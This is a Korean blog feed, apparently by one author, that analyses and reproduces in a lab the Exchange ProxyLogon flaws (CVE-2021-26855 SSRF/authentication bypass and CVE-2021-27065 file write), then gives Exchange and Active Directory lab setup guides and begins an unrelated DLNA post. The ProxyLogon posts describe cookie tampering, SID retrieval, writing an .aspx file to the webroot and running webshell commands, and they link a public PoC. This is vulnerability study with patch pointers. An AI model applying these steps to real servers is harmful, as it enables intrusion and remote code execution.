
가져오는 것을 확인할 수 있습니다.

UrlAnchorMailbox urlAnchorMailbox = this.AnchoredRoutingTarget.AnchorMailbox as UrlAnchorMailbox;
if (urlAnchorMailbox != null) {
	result = urlAnchorMailbox.Url;
} else {
	UriBuilder clientUrlForProxy = this.GetClientUrlForProxy();
	clientUrlForProxy.Scheme = Uri.UriSchemeHttps;
	clientUrlForProxy.Host = this.AnchoredRoutingTarget.BackEndServer.Fqdn;
	clientUrlForProxy.Port = 444;
	if (this.AnchoredRoutingTarget.BackEndServer.Version < Server.E15MinVersion) {
		this.ProxyToDownLevel = true;
		RequestDetailsLoggerBase<RequestDetailsLogger>.SafeAppendGenericInfo(this.Logger, "ProxyToDownLevel", true);
		clientUrlForProxy.Port = 443;
	}
	result = clientUrlForProxy.Uri;
}

FrontEndHttpProxy.dll - HttpProxy.OwaResourceProxyRequestHandler.cs

만약, 사용자가 /owa 페이지로 접속한다면,

this.AnchoredRoutingTarget.BackEndServer에 대한 정보는

OwaResourceProxyRequestHandler 모듈의

ResolveAnchorMailbox() 메소드에서 정해지며,

사용자 브라우저의

"X-AnonResource-Backend" 쿠키의 값을

보안 필터링 없이 그대로 사용합니다.

OwaResourceProxyRequestHandler.ResolveAnchorMailbox()

취약점 Point.

ResolveAnchorMailbox() 메소드에서

"X-AnonResource-Backend" 쿠키의 값을

사용하여 BackEndServer를 정할 때

보안 검토를 거치지 않기 때문에,

변조된 쿠키의 값을 통해

BackEndServer의 값을 조작하여

확인되지 않은 서버로 접속하도록

유도할 수 있습니다.

수동 테스트

Prxoy Tool인 Burp Suite를 통해

직접 취약점을 테스트한 결과입니다.

공격에 성공하여,

공격자의 의도대로

Exchange 서버가 Naver에 접속하여

그 결과를 공격자에게 반환합니다.

쿠키의 값을 Exchange가 있는 네트워크의

다른 사이트나 서버로 하면,

외부에서 접근이 불가능한 내부 사이트로도

접근하여 공격이 가능합니다.

Naver 접속 성공

- 인증 우회

동일한 CVE 취약점으로

Exchange 서버의 인증을

우회할 수 있는 취약점입니다.

위에서는 /owa 페이지 접속 시 사용하는

"X-AnonResource-Backend" 쿠키를 대상으로 했으나,

이번에는 /ecp 페이지 접속 시 사용하는

"X-BEResource" 쿠키를 대상으로 합니다.

FrontEndHttpProxy.dll - HttpProxy.BEResourceRequestHandler.cs

만약, 사용자가 /ecp 페이지로 접속한다면,

this.AnchoredRoutingTarget.BackEndServer에 대한 정보는

BEResourceRequestHandler 모듈의

ResolveAnchorMailbox() 메소드에서 정해지며,

사용자 브라우저의

"X-BEResource" 쿠키의 값을

보안 필터링 없이 그대로 사용합니다.

BEResourceRequestHandler.ResolveAnchorMailbox()

FrontEndHttpProxy.dll - HttpProxy.ProxyRequestHandler.cs

이후, ProxyRequestHandler Class의

GetTargetBackEndServerUrl() 메소드에서

Front-End Site에서 전달된 사용자 요청을 처리할

Back-End Site의 주소(URI)를 정의합니다.

여기서 서버의 버전에 따라 접속 Port가 정해지며,

취약점이 발생하기 위해서는

버전을 E15MinVersion 값보다 크게 설정하여

정보를 내부 서버(Back-End Site)에서 찾도록

해야합니다.

ProxyRequestHandler.GetTargetBackEndServerUrl()

ApplicationLogic.dll - BackEndServer.FromString

위의 BEResourceRequestHandler.ResolveAnchorMailbox() 메소드에서

입력받은 쿠키 값은

BackEndServer.FromString() 메소드를 거치게 됩니다.

이 메소드로 전달된 쿠키 값은

Split() 메소드에 의해

앞 부분의 접속 위치와

뒷 부분의 버전 정보로 나뉘게 됩니다.

BackEndServer.FromString()

따라서, '~' 뒷 부분의 값을

E15MinVersion 보다 크게 설정하여

공격에 필요한 정보를

내부의 서버에서 가져오도록

조작할 수 있게 됩니다.

취약점 Point.

취약점이 발생하는 코드에서

버전에 따른 서버 포트 차이를

설명했으나,

실제로 인증 우회가 가능한 이유는

Back-End site에서

별도로 사용자 검증을 하지 않기 때문입니다.

수동 테스트

Proxy Tool인 Burp Suite를 통해

직접 취약점을 테스트한 결과입니다.

인증 우회를 위해

여러 단계로 이루어져 있습니다.

Step 1) Server의 Hostname을 획득하기 위해,

아무 HTTP Request를 보냅니다.

HTTP Response의 Header에서

서버의 Hostname을 획득할 수 있습니다.

서버의 Hostname 획득

Step 2) User 계정의 LegacyDN 정보를 얻기 위해

autodiscover.xml 로 접속을 시도합니다.

접속할 때는 위에 분석한 내용대로

버전을 E15MinVersion 보다 크게 설정했으며,

사용자 데이터를 검색하기 위한 정보를 포함하여

접속을 시도합니다.

참고로, autodiscover.xml 파일은 사용자 계정 정보를

내부 서버에서 찾아주는 파일입니다.

User 계정의 LegacyDN 획득

Step 3) User 계정의 SID를 얻기 위해

mapi의 emsmdb 모듈로 데이터를 전송합니다.

불완전한 데이터를 전송하여

Back-End site에서 강제로 에러를 발생시키며,

HTTP Response에 포함된

서버의 에러 메시지에서

User SID를 획득할 수 있습니다.

User SID 획득

Step 4) 이제 ProxyLogon.ecp로 접속하여

System 계정으로 인증된 세션을 획득할 수 있습니다.

획득한 세션을 사용하여

다음 취약점을 활용해 추가 공격이 가능합니다.

로그인된 세션 획득

# CVE-2021-26855

- Arbitrary File Write(임의의 파일 작성)

공격자가 원하는 위치에

서버에서 실행이 가능한 .aspx 파일을

생성할 수 있는 취약점 입니다.

생성된 파일에 웹쉘이 포함된 것은 아니며,

생성된 파일에 접근할 때, 웹쉘 코드를 포함시켜

RCE를 발생시킬 수 있는 취약점 입니다.

OAB 가상 디렉토리 재설정

이 취약점은 Exchange 관리 센터에서

OAB 가상 디렉토리의 위치를

재설정할 때 발생합니다.

OAB 가상 디렉터리 재설정

ControlPanel.dll - DDIService.WriteFileActivity.Run

OAB 가상 디렉터리 재설정 시

현재 설정을 저장하게 되며,

WriteFileActivity Class의 Run 메소드에서

그 코드를 확인할 수 있습니다.

WriteFileActivity.Run()

파일 생성 위치는

OutputFileNameVariable 값에서 가져오지만,

모든 과정에서

경로 및 확장자를 검토하는 코드가 없어서

공격자가 원하는 위치에

원하는 확장자로 파일을 생성할 수 있습니다.

취약점 Point.

파일이 생성되는 위치를

사용자로 부터 받아서

파일을 생성하는 과정에서

그 위치나 확장자 등을

검토하는 코드가 없어서

공격자가 원하는 위치에

원하는 확장자로 생성이 가능합니다.

수동 테스트

Proxy Tool인 Burp Suite를 통해

직접 취약점을 테스트한 결과입니다.

Step 1) 우선, 생성된 파일로 접근할 때

웹쉘 코드를 실행시킬 수 있도록

외부 URL의 값을

공격 코드로 설정합니다.

파일 실행 코드 삽입

Step 2) OAB 가상 디렉터리의 위치를 재설정합니다.

재설정 시 파일이 생성되는 위치를

웹 브라우저로 접속 가능한

Front-End site의 웹루트 폴더로 지정합니다.

파일 생성 시도

Step 3) Proxy Tool을 사용하여 패킷을 가로챈 후,

FilePathName 파라미터의 내용을

Front-End site의 웹루트 경로와

실행 가능한 확장자(.aspx)로

수정하고 재전송합니다.

파일 경로 및 확장자 수정

Step 4) 성공적으로 RCE 취약점이 가능한

파일이 생성됩니다.

웹쉘을 생성한 것이 아니기 때문에

파일의 내용은 평범합니다.

파일 생성 완료

Step 5) 생성된 파일로 접근 시

웹쉘 코드를 포함하여 전송합니다.

서버에서는 해당 코드를 실행한 후,

그 결과를 HTTP Response에 포함하여

공격자에게 반환합니다.

원격 코드 실행(RCE) 성공

# 보안 패치는 다음 글에서...

보안 패치에 관한 내용은

다음 포스팅에서 이어서 하겠습니다.

2021.09.07 - [Study/CVE PoC Test] - Window Exchange ProxyLogon 취약점(CVE-2021-26855, CVE-2021-27065) - 소개

2021.09.09 - [Study/CVE PoC Test] - Window Exchange ProxyLogon 취약점(CVE-2021-26855, CVE-2021-27065) - 분석

2021.10.14 - [Study/CVE PoC Test] - Window Exchange ProxyLogon 취약점(CVE-2021-26855, CVE-2021-27065) - 취약점 조치

- 참고 사이트

http://cn-sec.com/archives/531520.html

https://devco.re/blog/2021/08/06/a-new-attack-surface-on-MS-exchange-part-1-ProxyLogon/

https://githubmemory.com/repo/alt3kx/CVE-2021-26855_PoC

https://github.com/conjojo/Microsoft_Exchange_Server_SSRF_CVE-2021-26855/blob/master/Microsoft_Exchange_Server_SSRF_CVE-2021-26855.py

Window Exchange ProxyLogon 취약점(CVE-2021-26855, CVE-2021-27065) - 소개

루딘이 — Tue, 7 Sep 2021 15:08:01 +0900

2021년 1월,

Microsoft 사의 Exchange에서

취약점이 다수 발견되었습니다.

그 중

CVE-2021-26855와

CVE-2021-27065를

사용하는

ProxyLogon 취약점에 대해

소개하려고 합니다.

# ProxyLogon 취약점이란...

- 개요

이 취약점은

아래 두 가지

CVE 취약점으로

이루어져 있습니다.

CVE-2021-26855(SSRF)
- SSRF 유형의 취약점으로,
사용자 인증 과정(로그인 등) 없이 인증된 사용자 권한(로그인 성공)을 획득할 수 있는 취약점

CVE-2021-27065(Arbitrary File Write)
- 임의의 파일 작성 또는 File Upload 유형의 취약점으로,
인증된 계정에서 공격자가 원하는 위치에 웹 브라우저로 실행 가능한 파일(Webshell)을 생성할 수 있는 취약점

위 두 가지 CVE 취약점을 활용하여,

Exchange 사용 권한이 없는 해커가

Exchange 서버에 Webshell을 업로드하여

서버를 제어할 수 있습니다.

- 취약한 환경

KB5000871 보안 패치가 적용되지 않은

모든 Exchange 서버는 취약합니다.

취약한 환경:
- KB5000871 미적용 Exchange 서버
(Exchange 2013, 2016, 2019 모두 포함)

- KB5000871 보안 패치

아래 주소에서

사용 중인 Exchange 서버를 검색하여

다운 받을 수 있습니다.

https://www.catalog.update.microsoft.com/Search.aspx?q=Exchange%202016

Microsoft Update 카탈로그

www.catalog.update.microsoft.com

Microsoft Update 사이트

# 취약점 테스트

- 테스트 환경

아래와 같이 환경을 구성하여

테스트를 진행했습니다.

서버 OS: Windows Server 2016
S/W: Microsoft Exchange 2016 cu19
공격자 PC: Windows 10

Exchange 2019를 구하지 못해서

Exchange 2016으로 진행했으며,

Windows Server 2019에는

Exchange 2016이 설치되지 않아서

Windows Server 2016으로 진행했습니다.

~~(호환성 무엇....)~~

환경 구성은 아래를 참고하시면 됩니다.

2021.09.02 - [Study/스터디] - [Windows Server 2016+AD+Exchange 2016] AD(Active Directory) 설치

2021.09.03 - [Study/스터디] - [Windows Server 2016+AD+Exchange 2016] Exchange 2016 관리 계정 생성

2021.09.03 - [Study/스터디] - [Windows Server 2016+AD+Exchange 2016] Exchange 2016 설치

- 테스트 진행

Step 1. 공격 PC에서 웹 브라우저로

Exchange의 메일 사서함에 접근할 수 있도록

네트워크를 수정합니다.

Windows Server 2016 네트워크 수정

공격 PC 네트워크 수정

Step 2. 공격 PC의 웹 브라우저에서

메일 사서함에 접속하면 비인증 상태이기 때문에

로그인을 요구합니다.

현재 미인증(비로그인) 상태

Step 3. 공개된 PoC 코드를 다운받습니다.

아래 PoC 코드는 SSRF 및 Arbitrary File Write

두 가지를 모두 진행하는 코드입니다.

https://github.com/p0wershe11/ProxyLogon

GitHub - p0wershe11/ProxyLogon: ProxyLogon(CVE-2021-26855+CVE-2021-27065) Exchange Server RCE(SSRF->GetWebShell)

ProxyLogon(CVE-2021-26855+CVE-2021-27065) Exchange Server RCE(SSRF->GetWebShell) - GitHub - p0wershe11/ProxyLogon: ProxyLogon(CVE-2021-26855+CVE-2021-27065) Exchange Server RCE(SSRF->GetWebSh...

github.com

Step 4. 다운 받은 코드를 실행합니다.

서버의 정보 획득과 사용자 인증 우회,

파일 작성 등을 끝낸 후

주소를 반환합니다.

PoC 코드 실행 결과

Step 5. 반환된 주소의 파라미터에

Webshell 코드를 포함시켜 접속하면,

서버에서 Webshell 코드가 실행되고

그 결과를 반환합니다.

Webshell 코드를 통해 dir 명령어 실행 결과

# 설명은 다음 포스팅에서...

글이 너무 길어져서

여기서는 취약점 소개만 하고

설명은 다음 포스팅에서

이어서 하겠습니다.

2021.09.07 - [Study/CVE PoC Test] - Window Exchange ProxyLogon 취약점(CVE-2021-26855, CVE-2021-27065) - 소개

2021.09.09 - [Study/CVE PoC Test] - Window Exchange ProxyLogon 취약점(CVE-2021-26855, CVE-2021-27065) - 분석

2021.10.14 - [Study/CVE PoC Test] - Window Exchange ProxyLogon 취약점(CVE-2021-26855, CVE-2021-27065) - 취약점 조치

- 참고 사이트

https://devco.re/blog/2021/08/06/a-new-attack-surface-on-MS-exchange-part-1-ProxyLogon/

A New Attack Surface on MS Exchange Part 1 - ProxyLogon! | DEVCORE 戴夫寇爾

ProxyLogon! The most severe and impactful vulnerability in the Exchange Server history ever.

devco.re

[Windows Server 2016+AD+Exchange 2016] Exchange 2016 설치

루딘이 — Fri, 3 Sep 2021 17:01:27 +0900

Exchange 용

관리 계정도 생성했으니,

본격적으로

Exchange 2016 설치를

진행합니다.

필수 구성 요소 설치

Exchange 2016 설치 전

구성요소들을 설치해야 합니다.

구성요소 설치:
1. Exchange 관리 계정으로 로그인

2. 필수 구성요소 설치(사서함 서버)
- 관리자 권한으로 PowerShell 실행 > 아래 명령어 입력
> Install-WindowsFeature NET-Framework-45-Features, Server-Media-Foundation, RPC-over-HTTP-proxy, RSAT-Clustering, RSAT-Clustering-CmdInterface, RSAT-Clustering-Mgmt, RSAT-Clustering-PowerShell, WAS-Process-Model, Web-Asp-Net45, Web-Basic-Auth, Web-Client-Auth, Web-Digest-Auth, Web-Dir-Browsing, Web-Dyn-Compression, Web-Http-Errors, Web-Http-Logging, Web-Http-Redirect, Web-Http-Tracing, Web-ISAPI-Ext, Web-ISAPI-Filter, Web-Lgcy-Mgmt-Console, Web-Metabase, Web-Mgmt-Console, Web-Mgmt-Service, Web-Net-Ext45, Web-Request-Monitor, Web-Server, Web-Stat-Compression, Web-Static-Content, Web-Windows-Auth, Web-WMI, Windows-Identity-Foundation, RSAT-ADDS

3. 필수 구성요소 설치(Edge 전송 서버, 옵션)
- 관리자 권한으로 PowerShell 실행 > 아래 명령어 입력
> Install-WindowsFeature ADLDS

1. Exchange 관리 계정으로 로그인

서버 재부팅 후,

생성된 계정으로

로그인합니다.

새로 생성한 계정으로 로그인

2. 필수 구성요소 설치(사서함 서버, 필수)

관리자 권한으로 PowerShell을 실행한 후,

아래 명령어를 입력합니다.

> Install-WindowsFeature NET-Framework-45-Features, Server-Media-Foundation, RPC-over-HTTP-proxy, RSAT-Clustering, RSAT-Clustering-CmdInterface, RSAT-Clustering-Mgmt, RSAT-Clustering-PowerShell, WAS-Process-Model, Web-Asp-Net45, Web-Basic-Auth, Web-Client-Auth, Web-Digest-Auth, Web-Dir-Browsing, Web-Dyn-Compression, Web-Http-Errors, Web-Http-Logging, Web-Http-Redirect, Web-Http-Tracing, Web-ISAPI-Ext, Web-ISAPI-Filter, Web-Lgcy-Mgmt-Console, Web-Metabase, Web-Mgmt-Console, Web-Mgmt-Service, Web-Net-Ext45, Web-Request-Monitor, Web-Server, Web-Stat-Compression, Web-Static-Content, Web-Windows-Auth, Web-WMI, Windows-Identity-Foundation, RSAT-ADDS

사서함 서버 구성요소 설치

Success

다음 아래 소프트웨어들을

설치합니다.

.NET Framework 4.8

Visual Studio 2012용 Visual C++ Redistributable 패키지

Download Visual C++ Redistributable for Visual Studio 2012 Update 4 from Official Microsoft Download Center

Important! Selecting a language below will dynamically change the complete page content to that language. Chinese (Simplified)Chinese (Traditional)EnglishFrenchGermanItalianJapaneseKoreanRussianSpanish Download The Visual C++ Redistributable Packages insta

www.microsoft.com

Visual Studio 2013용 Visual C++ Redistributable 패키지

Update for Visual C++ 2013 Redistributable Package

시간을 최대한 활용하기 위한 구독

support.microsoft.com

Microsoft UCMA(Unified Communications Managed API) 4.0, Core Runtime 64비트

Download Unified Communications Managed API 4.0 Runtime from Official Microsoft Download Center

Important! Selecting a language below will dynamically change the complete page content to that language. Chinese (Simplified)Chinese (Traditional)EnglishFrenchGermanItalianJapaneseKoreanPortuguese (Brazil)RussianSpanish Download Unified Communications Man

www.microsoft.com

3. 필수 구성요소 설치(Edge 전송 서버, 옵션)

이 글에서는

Edge 전송 서버를

소개하지 않기 때문에

마이크로 소프트의

설치 가이드를

참고하겠습니다.

사서함 서버와 다른 점은

ADLDS를 추가 설치한다는 것 입니다.

Edge 전송 서버 설치 안내

드디어 설치

드디어

Exchange 2016을 설치합니다.

Exchange 2016 설치:
1. 다운로드
- https://www.microsoft.com/en-us/download/details.aspx?id=103242

2. 설치
- ISO 파일 삽입 > 아래 설정 유의하며 설치
> 주요 설정:
* Don't check for updates right now
* Don't use recommended settings
* Mailbox role
* Exchange Organization 이름 설정
* Disable malware scanning: NO

1. 다운로드

저는 다른 테스트를 위해

CU 19(Cumulative Update 19) 버전을

설치했으나,

아래 주소에서

최신 업데이트가 적용된

Exchange 2016 CU 21의 iso 파일을

다운받을 수 있습니다.

Download Cumulative Update 21 for Exchange Server 2016

Download Cumulative Update 21 for Exchange Server 2016 (KB5003611) from Official Microsoft Download Center

Important! Selecting a language below will dynamically change the complete page content to that language. Chinese (Simplified)Chinese (Traditional)EnglishFrenchGermanItalianJapaneseKoreanPortuguese (Brazil)RussianSpanish Download Cumulative Update 21 for E

www.microsoft.com

2. 설치

다운 받은 ISO 파일을

마운트 시킵니다.

(* 저는 VMware에서

진행 중 입니다.

* 실제 서버인 경우,

USB 등을 사용해야 합니다.)

Exchange 2016 ISO 파일 마운트

서버에서

Exchange 2016 설치를

진행합니다.

Exchange 2016 설치 프로그램 실행

Don't check for updates right now 를 선택합니다.

Don't check for updates right now

Copying Files, Initializing Setup 화면

즉, 설치 이후

Exchange 2016 설정을 진행합니다.

Exchange 2016 설정 시작

License 동의 이후

(I accept the terms in the license agreement)

설정 선택 시

추천 설정 사용 안함을 선택합니다.

(Don't use recommended settings)

Don't use recommended settings

Mailbox role(사서함 역할) 선택 후 다음

Mailbox role

경로 확인/수정 후 다음

경로 확인

조직 이름 설정 후 다음

조직 이름 설정

Malware 보호 설정은

No로 설정 후 설치를 진행하면 됩니다.

Disable malware scanning: No

설치

Install...오래걸리더라(40분?)

설치가 끝났습니다.

재부팅하시면 됩니다.

Setup Completed - Reboot

Exchange 관리자 센터

관리자 센터는

아래 방법들을 통해

접속할 수 있습니다.

Exchange 관리자 센터 접속:
1. https://[AD 도메인 / AD 서버 IP]/ecp
* 접속 PC와 AD 서버에서 네트워크 설정이 필요합니다.

2. 서버의 시작 메뉴 > Exchange Administrative Center 실행

1번 방법은

AD 서버와 접속 PC가

같은 네트워크에 속해야하며,

접속 PC의 DNS를

AD 서버로 설정해야합니다.

1. 서버 IP 수정

현재 서버가 연결된

네트워크에 맞춰서

서버의 IP를 수정합니다.

서버에서 Control Panel\Network and Internet\Network and Sharing Center 로 이동
> 네트워크 인터페이스 > Properties > Internet Protocol Version 4 (TCP/IP)
> IP 수정

IP 수정

2. 접속 PC 수정

접속하는 PC의

IP와 DNS 또한

맞춰줘야 합니다.

서버에서 > Control Panel\Network and Internet\Network and Sharing Center 로 이동
> 네트워크 인터페이스 > Properties > Internet Protocol Version 4 (TCP/IP)
> IP 수정
* DNS 서버의 주소를 AD 서버의 주소로 지정

보조 DNS 서버 주소는

원활한 인터넷 사용을 위해

상용 DNS 서버의 주소를

적었습니다.

DNS 서버 주소가 중요!

3. Exchange 관리자 센터 접속

- 접속 주소: https://[AD 도메인 / AD 서버 IP]/ecp
- ID: 도메인\관리자 계정

인증서 때문에

경고 페이지가 뜨지만,

무시하고 넘어갑니다.

안전하지 않음 클릭

AD 도메인\관리자 계정

를 입력하여 로그인합니다.

로그인

최초 로그인 시

시간대를 설정합니다.

시간대 설정

이제 이 페이지에서

Exchange 서버를

관리할 수 있습니다.

관리 페이지 접속

4. 메일 사서함 접속

메일 사서함은

아래 주소로 접속합니다.

메일 사서함 주소: https://[AD 도메인 / AD 서버 IP]/owa

메일 사서함 접속

연관된 사이트

2021.09.02 - [Study/스터디] - [Windows Server 2016+AD+Exchange 2016] AD(Active Directory) 설치

2021.09.03 - [Study/스터디] - [Windows Server 2016+AD+Exchange 2016] Exchange 2016 관리 계정 생성

참고 사이트

마이크로 소프트에서 제공하는

설치 가이드 입니다.

https://docs.microsoft.com/ko-kr/Exchange/plan-and-deploy/prerequisites?redirectedfrom=MSDN&view=exchserver-2016

Exchange Server 필수 구성 요소, Exchange 2019 시스템 요구 사항, Exchange 2019 요구 사항

요약: Exchange Server 2016 및 Exchange Server 2019과 Exchange 관리 도구를 위한 Windows 운영 체제 필수 구성 요소에 대해 알아봅니다.

docs.microsoft.com

[Windows Server 2016+AD+Exchange 2016] Exchange 2016 관리 계정 생성

루딘이 — Fri, 3 Sep 2021 15:23:04 +0900

Exchange 2016 설치 전

관리 계정을

미리 생성해야 합니다.

시작하기 전에 알아야 할 내용

마이크로 소프트에서 제공하는

Exchange 2016 설치 전

확인해야할 사항들 입니다.

Windows Server 2019는

AD에 가입되어 있다면

최신 패치 후 설치하면 됩니다.

사전 확인 사항들

AD에 관리용 계정 생성

관리 및 보안을 위해

Exchange 2016용 계정을

생성해야합니다.

관리 계정 생성:
1. AD 계정 관리 실행
- Server Manager > Tools > Active Directory Users and Computers

2. OU(Organizational Unit) 생성
- AD 우클릭 > New > Oraganizational Unit > Name 입력 > OK
* OU: 계정 그룹?(부서, 팀 등) 정도로 생각

3. 계정 생성
- OU 우클릭 > New > User > 정보 입력 > Next
> Password 입력 > Next > Finish

계정 생성을 위해

Active Directory Users and Computers

를 실행 시킵니다.

Active Directory Users and Computers 실행

계정을 따로 관리하기 위해

admins OU를 생성합니다.

Organizational Unit 생성

생성된 OU에

관리용 계정을

새로 생성합니다.

생성된 OU에 관리용 계정 생성

계정의 Password를

지정하고

생성을 마칩니다.

원래는

"User must change password at next logon"

을 체크하여

생성한 계정으로

최초 로그인 시

비밀번호를 바꾸도록 해야 하지만,

~~테스트 서버인 지금은~~

~~귀찮아서....~~

관리자 계정 Password 설정 및 계정 생성 완료

비밀번호는

계정 생성 규칙에 의해

오류가 날 수 있습니다.

안전한 비밀번호로

설정해주세요.

안전한 Password 설정하세요.

권한 부여

생성된 계정에

권한을 부여합니다.

부여할 권한:
- Enterprise Admins: 조직의 첫 번째 Exchange 2016 서버인 경우에 필요
+
- Schema Admins: Active Directory 스키마를 준비한 적이 없으면 필요
or
- Exchange 조직 역할 그룹 구성원: Active Directory 스키마를 이미 준비했거나,
다른 Exchange 서버가 조직에 이미 있는 경우에 필요
(이미 있는 AD에 Join)

지금은 AD 서버에

처음으로 Exchange 2016 서버를

구성하므로,

Enterprise Admins와

Schema Admins 권한을

생성한 계정에 부여합니다.

권한 부여:
- Active Directory Users and Computers > 계정 우클릭
> Properties > Member Of > Add
> 권한 추가(Enterprise Admins, Schema Admins)
> OK > 재부팅

계정의 속성창에서

권한을 추가합니다.

계정 속성창 실행 - 권한 추가

Enterprise Admins,

Schema Admins 권한을

추가합니다.

권한 추가

재부팅은 작업이 끝날 때마다

꼬박꼬박 해줍니다.

관리용 윈도우 계정 생성

AD에 Exchange 관리용 계정을 생성했으니,

AD에 등록된 계정으로

윈도우 서버에

로그인할 수 있도록

계정을 추가해야 합니다.

윈도우 계정 추가:
- Netplwiz 실행(C:\Windows\System32\Netplwiz.exe)
> Add > Browse... > 생성한 AD 계정 입력 > Check Name
> OK > Next > Administartor > Next > Finish > OK

윈도우에

계정을 추가하는 방법은

다양합니다.

여기서는

Netplwiz.exe를

직접 실행하여

계정을 추가했습니다.

Netplwiz.exe 실행 - Add

Browse를 통해

AD 계정을 불러옵니다.

일부분만 입력한 후

Check Names를 통해

쉽게 불러올 수 있습니다.

AD 계정 Browse

자동 입력된 계정을 확인하고

다음으로 넘어 갑니다.

계정 확인

관리자 권한(Administrator)를 선택한 후,

다음으로 진행합니다.

Administrator 선택

Finish

계정 확인

계정 생성 완료

서버 재부팅 후,

생성된 계정으로

로그인합니다.

새로 생성한 계정으로 로그인

계정 생성 완료

지금은 테스트 환경이기 때문에

같은 서버에

AD와 Exchange를 구성하지만

보통은 따로 구성하여

Exchange 서버를

AD에 가입시키는 형태로

구성할 것입니다.

실 서버에서는

보안상의 이유도 있고

취약점 진단 항목에도 있기 때문에

Administrator 계정명을

그대로 사용하는 것은

취약점이 되므로,

Administrator의 이름을

변경하거나,

새로 계정 생성 후 삭제해야 합니다.

연관된 사이트

2021.09.02 - [Study/스터디] - [Windows Server 2016+AD+Exchange 2016] AD(Active Directory) 설치

2021.09.03 - [Study/스터디] - [Windows Server 2016+AD+Exchange 2016] Exchange 2016 설치

참고 사이트

마이크로 소프트에서 제공하는

설치 가이드 입니다.

https://docs.microsoft.com/ko-kr/Exchange/plan-and-deploy/prerequisites?redirectedfrom=MSDN&view=exchserver-2016

Exchange Server 필수 구성 요소, Exchange 2019 시스템 요구 사항, Exchange 2019 요구 사항

요약: Exchange Server 2016 및 Exchange Server 2019과 Exchange 관리 도구를 위한 Windows 운영 체제 필수 구성 요소에 대해 알아봅니다.

docs.microsoft.com

[Windows Server 2016+AD+Exchange 2016] AD(Active Directory) 설치

루딘이 — Thu, 2 Sep 2021 17:17:17 +0900

윈도우 서버 2016에

AD를 구성하는 방법입니다.

사실, 윈도우 서버 2019에서

시작했으나,

나중에 되서야

호환되지 않는 버전인 것을

확인하고 다시 진행했습니다.

윈도우 서버 2016 설치

테스트 환경으로 구성할 예정이기 때문에

Trial 버전을 구해 설치했습니다.

Windows Server 2016 평가판 다운로드
- https://www.microsoft.com/ko-kr/evalcenter/evaluate-windows-server-2016

설치는 VMware에서 진행했으며,

iso 파일을 나중에 연결하는 방식으로 진행했습니다.

(바로 설치하면 GUI가 아니라 Core 밖에 선택을 못해서...)

설치화면에서

2번째(Standard GUI), 4번째(DataCenter GUI)로

설치하면

무난하게 GUI 환경의

윈도우 서버 2016가 설치됩니다.

사전 설정

AD를 설치하기 전

다음 사항들을 미리 설정해야 합니다.

1. Administrator 계정 사용
- 최초 설치면 어차피 Administrator 계정입니다.

2. 고정 IP 설정
- DNS는 AD 구성시 자동으로 127.0.0.1로 변경됩니다.

3. Hostname 설정

2. 고정 IP 설정

고정 IP는 아래 위치에서 설정할 수 있습니다.

위치: 제어판
- Control Panel\Network and Internet\Network Connections
> Ethernet 우클릭 > Properties
> Internet Protocol Version 4 (TCP/IPv4) 더블 클릭 > IP 설정

IP는 자신의 환경에 맞춰서 설정하며,

DNS는 필요한 패키지, 업데이트 등을 받기 위해

우선 인터넷이 가능한 DNS로 설정합니다.

고정 IP 설정

3. Hostname 설정

Hostname은 아래 위치에서

설정할 수 있습니다.

위치:
- Control Panel\System and Security\System
> Change settings > Change > Hostname 입력
> OK > Close > Restart Now

Hostname 설정

재부팅을 해야 적용됩니다.

바뀐 Hostname

AD 설치

Active Directory 설치는

Server Manager(서버 관리자)

를 통해서 진해할 수 있습니다.

AD 설치 순서
- Server Manager > 우측 상단 Manage > Add Roles and Features
> Next > Next > Next
> Active Directory Domain Services 선택 > Add Features
> DNS Server 선택 > Add Features
> Next > Next > Next > Install

Active Directory Domain Service 설치

DNS Server 설치

Confirmation에서

Active Directory Domain Services와

DNS Server를 확인한 후

설치를 진행합니다.

Install

AD 도메인 서비스 구성

서버 설치 후

AD의 도메인 서비스를 구성합니다.

구성 순서:
- Promote this server to a domain controller 클릭
> Add a new forest > Root domain name 입력(URL의 host부분) > Next
> Type the Directory Services Restore Mode(DSRM) password 입력 > Next
> Waring 무시하고 Next
> NetBIOS 이름 확인/수정 후 Next
> 주요 데이터 파일 위치 확인/수정 후 Next
> Next > Install

Root domain name을 입력합니다.

Root domain name(URL) 설정

DSRM password(복구용 패스워드)를 입력합니다.

DSRM password 설정

아직 DNS Service를 확인할 수 없어서

나타는 Waring으로,

AD 구성이 완료되면

자동으로 DNS Service가 설치되기 때문에

무시하고 넘어갑니다.

DNS Server는 추후에 설치됨

NetBIOS Domain name은

Root Domain 이름에서 자동으로

생성되지만,

수정도 가능합니다.

수정이 필요해보이지만 Next

Active Directory의 데이터들이

저장될 위치를 지정합니다.

AD 주요 파일 저장 위치

Install

설치가 완료되면 자동으로 재부팅 됩니다.

Install

설치 완료

재부팅이 끝나면

바뀐 로그인 화면을

볼 수 있습니다.

AD 계정으로 바뀐 로그인 화면

구성은 다음과 같습니다.

로그인 ID 구성
- NetBIOS Domain name\계정 이름
= AD SERVER IP\계정 이름

비밀번호는 동일하므로

그대로 로그인 하면 됩니다.

로그인 후

Server Manager > Tools에서

Active Direcotry와

DNS를 확인할 수 있습니다.

AD 및 DNS 설치 확인

DNS에서는

동일 AD에 가입(Join)된

장비(PC, Server 등)를 확인할 수 있습니다.

Join 된 Device 확인

연관된 글

2021.09.03 - [Study/스터디] - [Windows Server 2016+AD+Exchange 2016] Exchange 2016 관리 계정 생성

2021.09.03 - [Study/스터디] - [Windows Server 2016+AD+Exchange 2016] Exchange 2016 설치

[라즈베리파이4 NAS - 홈 스트리밍] 7. 미디어 서버: miniDLNA

루딘이 — Wed, 21 Jul 2021 01:19:25 +0900

라즈베리파이에

저장된 동영상을

다른 기기에서

볼 수 있는 방법입니다.

DLNA?

DLNA(디지털 리빙 네트워크 얼라이언스, Digital Living Network Alliance)는
소니가 2003년 6월에 설립한 비영리 단체로, 모바일, 가전 기기, PC, 서비스 제공자 산업의
250개 이상의 회사와 연계하고 있다.(위키)

DLNA 인증한 제품간에는 네트워크를 통하여
제조사와 제품 종류에 관계 없이
다양한 미디어 컨텐츠(음악/사진/동영상)를
공유하고 재생할 수 있는 규약

miniDLNA 설치

OMV 5에서 DLNA를 설치하는 방법은
간단합니다.

OMV 5 웹 콘솔 > 플러그인 > miniDLNA 검색 > 설치

miniDLNA 설치

DLNA 설정

설치가 끝나면
OMV 5 웹 콘솔의 서비스에
DLNA가 새로 생성됩니다.
DLNA 설정을 합니다.

OMV 5 웹 콘솔 > DLNA > 공유 > 추가 >
Shared Folder 선택 > 저장 > 적용
- Shared Folder: DLNA의 디렉토리로,
